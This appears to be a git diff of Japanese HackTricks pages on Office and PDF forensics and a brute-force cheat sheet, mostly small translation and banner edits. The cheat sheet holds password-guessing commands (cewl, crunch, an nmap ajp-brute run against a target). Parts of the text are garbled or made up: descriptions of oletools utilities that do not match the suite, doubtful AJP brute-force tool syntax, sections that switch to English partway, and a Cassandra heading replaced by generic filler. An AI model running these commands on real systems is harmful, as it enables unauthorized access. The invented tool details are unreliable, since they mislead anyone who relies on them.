\ -[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化します。\ +[**Trickest**](https://trickest.io/) を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化します。\ 今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -126,6 +126,6 @@ sqlite -k config.dbx ".backup config.db" #This decompress the con * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション * [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。** -* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。** +* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。** diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md index a75ee9eea..3fa53a796 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md @@ -12,19 +12,19 @@ -![](<../.gitbook/assets/image (9) (1) (2).png>) +
\ -[**Trickest**](https://trickest.io/)を使用して、世界で最も**高度なコミュニティツール**によって強化された**ワークフローを簡単に構築**および**自動化**します。\ +[**Trickest**](https://trickest.io/)を使用して、世界で最も**高度なコミュニティツール**によって強化された**ワークフローを簡単に構築**および**自動化**できます。\ 今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## はじめに -マイクロソフトは、**数十種類のオフィスドキュメントファイル形式**を作成しています。そのうち多くは、**マクロ**(VBAスクリプト)を**含むことができる**ため、フィッシング攻撃やマルウェアの配布に人気があります。 +マイクロソフトは、**数十種類のオフィスドキュメントファイル形式**を作成しています。そのうち多くは、**マクロ**(VBAスクリプト)を**含める**ことができるため、フィッシング攻撃やマルウェアの配布に人気があります。 -大まかに言えば、オフィスファイル形式には2つの世代があります:**OLE形式**(RTF、DOC、XLS、PPTなどのファイル拡張子)と「**Office Open XML**」形式(DOCX、XLSX、PPTXなどのファイル拡張子を含む)。**両方の**形式は、リンクまたは埋め込まれたコンテンツ(オブジェクト)を可能にする構造化された複合ファイルバイナリ形式です。OOXMLファイルはzipファイルのコンテナであるため、隠されたデータをチェックする最も簡単な方法の1つは、単にドキュメントを`unzip`することです: +大まかに言えば、オフィスファイル形式には2つの世代があります。**OLE形式**(RTF、DOC、XLS、PPTなどのファイル拡張子)と、"**Office Open XML**"形式(DOCX、XLSX、PPTXなどのファイル拡張子)です。**両方の**形式は、リンクまたは埋め込まれたコンテンツ(オブジェクト)を**有効にする**構造化された複合ファイルバイナリ形式です。OOXMLファイルはzipファイルコンテナですので、隠されたデータをチェックする最も簡単な方法の1つは、単にドキュメントを`unzip`することです: ``` $ unzip example.docx Archive: example.docx @@ -65,11 +65,11 @@ $ tree │ └── theme1.xml └── webSettings.xml ``` -以下は、ファイルとフォルダの階層によって一部の構造が作成されていることがわかります。残りの部分はXMLファイル内で指定されています。[_New Steganographic Techniques for the OOXML File Format_, 2011](http://download.springer.com/static/pdf/713/chp%3A10.1007%2F978-3-642-23300-5\_27.pdf?originUrl=http%3A%2F%2Flink.springer.com%2Fchapter%2F10.1007%2F978-3-642-23300-5\_27\&token2=exp=1497911340\~acl=%2Fstatic%2Fpdf%2F713%2Fchp%25253A10.1007%25252F978-3-642-23300-5\_27.pdf%3ForiginUrl%3Dhttp%253A%252F%252Flink.springer.com%252Fchapter%252F10.1007%252F978-3-642-23300-5\_27\*\~hmac=aca7e2655354b656ca7d699e8e68ceb19a95bcf64e1ac67354d8bca04146fd3d)では、データ隠蔽技術のいくつかのアイデアが詳細に説明されていますが、CTFチャレンジの作成者は常に新しいアイデアを考え出しています。 +以下は、ファイルとフォルダの階層によって一部の構造が作成されています。残りの部分はXMLファイル内で指定されています。[_New Steganographic Techniques for the OOXML File Format_, 2011](http://download.springer.com/static/pdf/713/chp%3A10.1007%2F978-3-642-23300-5\_27.pdf?originUrl=http%3A%2F%2Flink.springer.com%2Fchapter%2F10.1007%2F978-3-642-23300-5\_27\&token2=exp=1497911340\~acl=%2Fstatic%2Fpdf%2F713%2Fchp%25253A10.1007%25252F978-3-642-23300-5\_27.pdf%3ForiginUrl%3Dhttp%253A%252F%252Flink.springer.com%252Fchapter%252F10.1007%252F978-3-642-23300-5\_27\*\~hmac=aca7e2655354b656ca7d699e8e68ceb19a95bcf64e1ac67354d8bca04146fd3d)では、データ隠蔽技術のアイデアについて詳しく説明していますが、CTFチャレンジの作成者は常に新しいアイデアを考え出しています。 -再び、OLEおよびOOXMLドキュメントの調査と分析のためのPythonツールセットが存在します: [oletools](http://www.decalage.info/python/oletools)。特にOOXMLドキュメントについては、[OfficeDissector](https://www.officedissector.com)は非常に強力な分析フレームワーク(およびPythonライブラリ)です。後者には、使用方法に関する[クイックガイド](https://github.com/grierforensics/officedissector/blob/master/doc/html/\_sources/txt/ANALYZING\_OOXML.txt)も含まれています。 +再び、OLEおよびOOXMLドキュメントの調査と分析のためのPythonツールセットが存在します: [oletools](http://www.decalage.info/python/oletools)。特にOOXMLドキュメントについては、[OfficeDissector](https://www.officedissector.com)が非常に強力な分析フレームワーク(およびPythonライブラリ)です。後者には、使用方法の[クイックガイド](https://github.com/grierforensics/officedissector/blob/master/doc/html/\_sources/txt/ANALYZING\_OOXML.txt)も含まれています。 -時には、隠された静的データを見つけるのではなく、VBAマクロを分析してその動作を判断することが課題となります。これはより現実的なシナリオであり、フィールドのアナリストが毎日実行する作業の一つです。前述の解析ツールは、マクロが存在するかどうかを示し、おそらくそれを抽出することもできます。Windows上のOfficeドキュメントの典型的なVBAマクロは、PowerShellスクリプトを%TEMP%にダウンロードし、実行しようとします。その場合、PowerShellスクリプトの分析タスクも発生します。ただし、悪意のあるVBAマクロは通常複雑ではありません。なぜなら、VBAは[通常、コード実行の起点として使用されるだけだからです](https://www.lastline.com/labsblog/party-like-its-1999-comeback-of-vba-malware-downloaders-part-3/)。複雑なVBAマクロを理解する必要がある場合や、マクロが難読化されておりアンパッカールーチンがある場合、このためにMicrosoft Officeのライセンスを所有する必要はありません。[Libre Office](http://libreoffice.org)を使用することができます。[そのインターフェース](http://www.debugpoint.com/2014/09/debugging-libreoffice-macro-basic-using-breakpoint-and-watch/)は、プログラムのデバッグを行ったことがある人にとっては馴染みがあります。ブレークポイントを設定し、ウォッチ変数を作成し、値をキャプチャすることができます。これらの値はアンパックされた後であり、ペイロードの動作が実行される前です。特定のドキュメントのマクロをコマンドラインから起動することさえできます。 +時には、隠された静的データを見つけることが課題ではなく、VBAマクロを分析してその動作を判断することが課題となります。これはより現実的なシナリオであり、フィールドのアナリストが日常的に行う作業です。前述の解析ツールは、マクロの存在を示すことができ、おそらくそれを抽出することもできます。Windows上のOfficeドキュメントの典型的なVBAマクロは、PowerShellスクリプトを%TEMP%にダウンロードし、実行しようとします。その場合、PowerShellスクリプトの分析タスクも発生します。ただし、悪意のあるVBAマクロは通常複雑ではありません。なぜなら、VBAは[通常、コード実行の起点として使用されるだけだからです](https://www.lastline.com/labsblog/party-like-its-1999-comeback-of-vba-malware-downloaders-part-3/)。複雑なVBAマクロを理解する必要がある場合や、マクロが難読化されておりアンパッカールーチンがある場合でも、Microsoft Officeのライセンスを所有している必要はありません。[Libre Office](http://libreoffice.org)を使用することができます。[そのインターフェース](http://www.debugpoint.com/2014/09/debugging-libreoffice-macro-basic-using-breakpoint-and-watch/)は、プログラムのデバッグを行ったことがある人にとっては馴染み深いものです。ブレークポイントを設定し、ウォッチ変数を作成し、アンパックされた後の値をキャプチャすることができます。特定のドキュメントのマクロをコマンドラインから起動することさえできます。 ``` $ soffice path/to/test.docx macro://./standard.module1.mymacro ``` @@ -79,7 +79,7 @@ oletoolsは、OLEオブジェクトを分析するための一連のツールで ### olevba -olevbaは、VBA(Visual Basic for Applications)マクロを分析するためのツールです。VBAマクロは、Microsoft Officeファイルに埋め込まれた自動化スクリプトです。olevbaを使用すると、VBAマクロのコードを抽出し、分析することができます。これにより、悪意のあるコードやセキュリティ上の問題を特定することができます。 +olevbaは、VBA(Visual Basic for Applications)マクロを分析するためのツールです。VBAマクロは、Microsoft Officeファイルに埋め込まれたスクリプトです。olevbaを使用すると、VBAマクロのコードを抽出し、分析することができます。これにより、悪意のあるコードやセキュリティ上の問題を特定することができます。 ### oledump @@ -87,51 +87,49 @@ oledumpは、OLEオブジェクトを分析するための強力なツールで ### oledir -oledirは、OLEオブジェクトのディレクトリ情報を表示するためのツールです。このツールを使用すると、OLEオブジェクト内のストリームや埋め込まれたファイルの一覧を取得することができます。oledirを使用すると、ファイルの構造を理解し、重要な情報を特定することができます。 +oledirは、OLEオブジェクトのディレクトリ情報を表示するためのツールです。このツールを使用すると、OLEオブジェクト内のストリームや埋め込まれたファイルの一覧を確認することができます。oledirは、ファイルの解析やフォレンジック調査において、重要な情報を提供します。 ### oleid -oleidは、OLEオブジェクトの識別情報を表示するためのツールです。このツールを使用すると、OLEオブジェクトのファイルタイプ、バージョン、セキュリティ属性などを確認することができます。oleidを使用すると、ファイルの信頼性やセキュリティ上のリスクを評価することができます。 +oleidは、OLEオブジェクトの識別情報を表示するためのツールです。このツールを使用すると、OLEオブジェクトのファイルタイプ、バージョン、セキュリティ属性などを確認することができます。oleidは、ファイルの解析やフォレンジック調査において、OLEオブジェクトの特性を理解するのに役立ちます。 ### olemeta -olemetaは、OLEオブジェクトのメタデータを表示するためのツールです。このツールを使用すると、OLEオブジェクトの作成者、作成日時、最終更新日時などの情報を取得することができます。olemetaを使用すると、ファイルの起源や変更履歴を調査することができます。 +olemetaは、OLEオブジェクトのメタデータを表示するためのツールです。このツールを使用すると、OLEオブジェクトの作成者、作成日時、最終更新日時などの情報を確認することができます。olemetaは、ファイルの解析やフォレンジック調査において、重要な情報を提供します。 -### oletimes +### oleview -oletimesは、OLEオブジェクトのタイムスタンプ情報を表示するためのツールです。このツールを使用すると、OLEオブジェクトの作成日時、最終アクセス日時、最終更新日時などの情報を確認することができます。oletimesを使用すると、ファイルの変更履歴やアクティビティを追跡することができます。 +oleviewは、OLEオブジェクトのビューアです。このツールを使用すると、OLEオブジェクトの内容を表示することができます。oleviewは、ファイルの解析やフォレンジック調査において、OLEオブジェクトの内容を確認するのに役立ちます。 -### oleversion - -oleversionは、OLEオブジェクトのバージョン情報を表示するためのツールです。このツールを使用すると、OLEオブジェクトのバージョン番号や互換性情報を確認することができます。oleversionを使用すると、ファイルの互換性やセキュリティ上のリスクを評価することができます。 - -### olevba-gui - -olevba-guiは、VBAマクロを分析するためのグラフィカルユーザーインターフェース(GUI)ツールです。このツールを使用すると、VBAマクロのコードを視覚的に分析することができます。olevba-guiを使用すると、悪意のあるコードやセキュリティ上の問題を素早く特定することができます。 - -### oledump-gui - -oledump-guiは、OLEオブジェクトを分析するためのグラフィカルユーザーインターフェース(GUI)ツールです。このツールを使用すると、OLEオブジェクトのヘッダ情報、ストリーム、VBAマクロ、埋め込まれたファイルなどを視覚的に分析することができます。oledump-guiは、ファイルの解析やフォレンジック調査を簡単に行うことができます。 +oletoolsは、OLEオブジェクトの分析において非常に便利なツールです。これらのツールを使用することで、悪意のあるコードやデータを特定し、ファイルの解析やフォレンジック調査を効果的に行うことができます。 ```bash sudo pip3 install -U oletools olevba -c /path/to/document #Extract macros ``` ## 自動実行 -`AutoOpen`、`AutoExec`、または`Document_Open`のようなマクロ関数は、**自動的に** **実行**されます。 +`AutoOpen`、`AutoExec`、または`Document_Open`のようなマクロ関数は、**自動的に実行**されます。 ## 参考文献 * [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) +
+ +\ +[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって**パワード**されたワークフローを簡単に構築し、**自動化**します。\ +今すぐアクセスを取得: + +{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md index 742dd73ab..4779226e5 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md @@ -5,14 +5,14 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけて、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを発見してください。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**してください。 * **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** -![](<../.gitbook/assets/image (9) (1) (2).png>) +
\ [**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによるワークフローを簡単に構築し、自動化します。\ @@ -22,7 +22,7 @@ From: [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) -PDFは非常に複雑なドキュメントファイル形式であり、[何年もの間にわたって書かれるほど](https://www.sultanik.com/pocorgtfo/)のトリックや隠し場所があります。これは、CTFフォレンジックチャレンジでも人気があります。NSAは2008年に「Hidden Data and Metadata in Adobe PDF Files: Publication Risks and Countermeasures」というタイトルのガイドを作成しましたが、元のURLでは入手できなくなっています。ただし、[ここでコピーを見つけることができます](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf)。Ange Albertiniは、[PDFファイル形式のトリックの](https://github.com/corkami/docs/blob/master/PDF/PDF.md)GitHub上のウィキも保持しています。 +PDFは非常に複雑なドキュメントファイル形式であり、[何年もの間にわたって書かれるほど](https://www.sultanik.com/pocorgtfo/)のトリックや隠し場所があります。これは、CTFフォレンジックの課題でも人気があります。NSAは2008年に「Hidden Data and Metadata in Adobe PDF Files: Publication Risks and Countermeasures」というタイトルのガイドを作成しましたが、元のURLでは入手できなくなっています。ただし、[ここでコピーを見つけることができます](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf)。Ange Albertiniは、[PDFファイル形式のトリックの](https://github.com/corkami/docs/blob/master/PDF/PDF.md)GitHub上のウィキも保持しています。 PDF形式は部分的にはHTMLのようなプレーンテキストですが、多くのバイナリ「オブジェクト」を含んでいます。Didier Stevensは、[フォーマットに関する良い入門資料](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/)を書いています。バイナリオブジェクトには、圧縮または暗号化されたデータが含まれることもあり、JavaScriptやFlashのようなスクリプト言語でのコンテンツも含まれます。PDFの構造を表示するには、テキストエディタで閲覧するか、OrigamiのようなPDF対応のファイル形式エディタで開くことができます。 @@ -32,10 +32,10 @@ PDF形式は部分的にはHTMLのようなプレーンテキストですが、 * 非表示のレイヤー * Adobeのメタデータ形式「XMP」 -* PDFの「増分生成」機能。以前のバージョンはユーザーには表示されませんが、保持されます +* PDFの「増分生成」機能(以前のバージョンはユーザーには表示されませんが、保持されます) * 白い背景に白いテキスト * 画像の後ろにテキスト -* 重なり合う画像の後ろに画像 +* 重なり合った画像の後ろに画像 * 非表示のコメント また、[PeepDF](https://github.com/jesparza/peepdf)のようなPythonパッケージもあり、PDFファイル形式で作業するためのもので、独自の解析スクリプトを作成することができます。 @@ -45,8 +45,8 @@ PDF形式は部分的にはHTMLのようなプレーンテキストですが、 ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけて、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを発見してください。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**してください。 * **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/generic-methodologies-and-resources/brute-force.md b/generic-methodologies-and-resources/brute-force.md index 69d1ffd00..71972cce4 100644 --- a/generic-methodologies-and-resources/brute-force.md +++ b/generic-methodologies-and-resources/brute-force.md @@ -1,6 +1,6 @@ # ブルートフォース - チートシート -![](<../.gitbook/assets/image (9) (1) (2).png>) +
\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\ @@ -12,17 +12,17 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか、またはHackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション -* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう -* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか、またはHackTricksをPDFでダウンロードしたいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。 ## デフォルトの資格情報 -使用されている技術のデフォルトの資格情報をGoogleで検索するか、次のリンクを試してみてください: +使用されている技術のデフォルトの資格情報をGoogleで検索するか、次のリンクを試してください: * [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet) * [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html) @@ -48,14 +48,25 @@ crunch 6 8 -t ,@@^^%% ``` ### Cewl -Cewlは、ウェブサイトや文書をスクレイピングしてカスタム・ワードリストを生成するためのツールである。パスワードのブルートフォースや辞書攻撃の実行に役立つ。Cewlは、与えられた入力を分析し、単語の長さ、頻度、パターンなどの様々な基準に基づいて関連する単語を抽出することによって動作する。 +Cewl is a tool used for generating custom wordlists by scraping websites or documents. It can be helpful in performing brute force attacks by creating wordlists based on the target's specific interests or preferences. -Cewlを使用するには、ターゲットURLまたはテキストを含むファイルを提供する必要がある。その後、Cewlはターゲットとなるウェブサイトをクロールしたり、ドキュメントを分析して単語を抽出する。また、リンクをたどり、複数のページを再帰的にスクレイピングすることもできる。 +To use Cewl, you need to provide it with a starting URL or a file containing text. It will then crawl the website or analyze the document to extract words and phrases. By applying various filters and options, you can customize the wordlist generation process to suit your needs. -Cewlには、単語リスト生成プロセスをカスタマイズするためのオプションがいくつか用意されている。単語の長さの最小値と最大値を指定したり、特定の単語やパターンを除外したり、正規表現を使って抽出された単語をフィルタリングすることもできます。さらに、Cewlは様々な出力形式をサポートしており、生成された単語リストを様々なファイル形式で保存することができます。 +Cewl can be particularly useful when targeting individuals or organizations with specific interests or when trying to crack passwords based on personal information. By creating wordlists that are tailored to the target, you increase the chances of success in a brute force attack. -Cewlの使用は、侵入テストやパスワード・クラッキングの際に有益である。ターゲットに合わせた単語リストを作成することで、ブルートフォース攻撃の成功確率を高めることができる。しかし、Cewlを悪意のある目的で使用することは違法であり、非倫理的であることに注意する必要があります。このようなツールを使用する前に、必ず適切な権限を持っていることを確認してください。 +To run Cewl, you can use the following command: +``` +cewl [options] +``` + +Some common options include: + +- `-d`: Set the depth of the crawl (default is 2). +- `-m`: Set the minimum word length (default is 3). +- `-w`: Specify the output file for the wordlist. + +Cewl is a powerful tool that can enhance the effectiveness of brute force attacks by generating targeted wordlists. However, it is important to use it responsibly and ethically, ensuring that you have proper authorization before conducting any penetration testing activities. ```bash cewl example.com -m 5 -w words.txt ``` @@ -67,7 +78,7 @@ python3 cupp.py -h ``` ### [Wister](https://github.com/cycurity/wister) -Wisterは、単語リスト生成ツールであり、特定のターゲットに関連する使用に適したユニークで理想的な単語リストを作成するために、与えられた単語から複数のバリエーションを作成することができます。 +Wisterは、単語リスト生成ツールであり、特定のターゲットに関連する使用するためのユニークで理想的な単語リストを作成するために、与えられた単語から複数のバリエーションを作成することができます。 ```bash python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst @@ -101,7 +112,7 @@ Finished in 0.920s. * [**https://hashkiller.io/listmanager**](https://hashkiller.io/listmanager) * [**https://github.com/Karanxa/Bug-Bounty-Wordlists**](https://github.com/Karanxa/Bug-Bounty-Wordlists) -![](<../.gitbook/assets/image (9) (1) (2).png>) +
\ [**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ @@ -125,162 +136,125 @@ msf> run ``` ### AJP -AJP(Apache JServ Protocol)は、Apache Tomcatがウェブサーバーと通信するために使用するプロトコルです。HTTPプロトコルに似ていますが、ウェブサーバーとアプリケーションサーバー間の通信により効率的です。 +AJP (Apache JServ Protocol) is a protocol used by Apache Tomcat to communicate with web servers. It is similar to the HTTP protocol but is more efficient for handling Java-based applications. -#### Brute Forcing AJP +A common attack method against AJP is brute force, where an attacker attempts to guess the username and password combination to gain unauthorized access to the server. Brute force attacks can be automated using tools like Hydra or Medusa, which systematically try different combinations until the correct one is found. -AJPをブルートフォースするには、`ajpfuzzer` や `ajp-buster` のようなツールを使うことができます。これらのツールは、AJPプロトコルの弱い認証情報や脆弱性をテストすることができます。 - -以下は `ajpfuzzer` の使い方の例です: - -```bash -ajpfuzzer -H -p -u -w -``` - -`` をターゲットサーバーのIPアドレスまたはホスト名に、`` をAJPポート(通常は8009)に、`` をテストしたいユーザー名に、`` を可能なパスワードを含むワードリストファイルへのパスに置き換えてください。 - -`ajp-buster` の使い方も同様です: - -```bash -ajp-buster -H -p -U -P -``` - -`` と `` をターゲットサーバーのIPアドレスまたはホスト名とAJPポートに、`` と``をテストしたい認証情報に置き換えてください。 - -総当たり攻撃を実行する前に、常に適切な認証を得ることを忘れないでください。 +To protect against brute force attacks on AJP, it is important to use strong and unique passwords for all user accounts. Additionally, implementing account lockouts after a certain number of failed login attempts can help prevent unauthorized access. +Regularly monitoring server logs for any suspicious activity and promptly addressing any detected brute force attempts is also crucial for maintaining the security of AJP-enabled servers. ```bash nmap --script ajp-brute -p 8009 ``` -# Cassandra +# ブルートフォース攻撃 -Cassandraは、分散型データベース管理システムであり、Apache Software Foundationによって開発されました。Cassandraは、高い可用性とスケーラビリティを提供することを目的としています。 +ブルートフォース攻撃は、暗号化されたデータを解読するために使用される一般的な攻撃手法です。この攻撃手法では、すべての可能な組み合わせを試し、正しいパスワードや鍵を見つけることを目指します。 -## ブルートフォース攻撃 +## ブルートフォース攻撃の手法 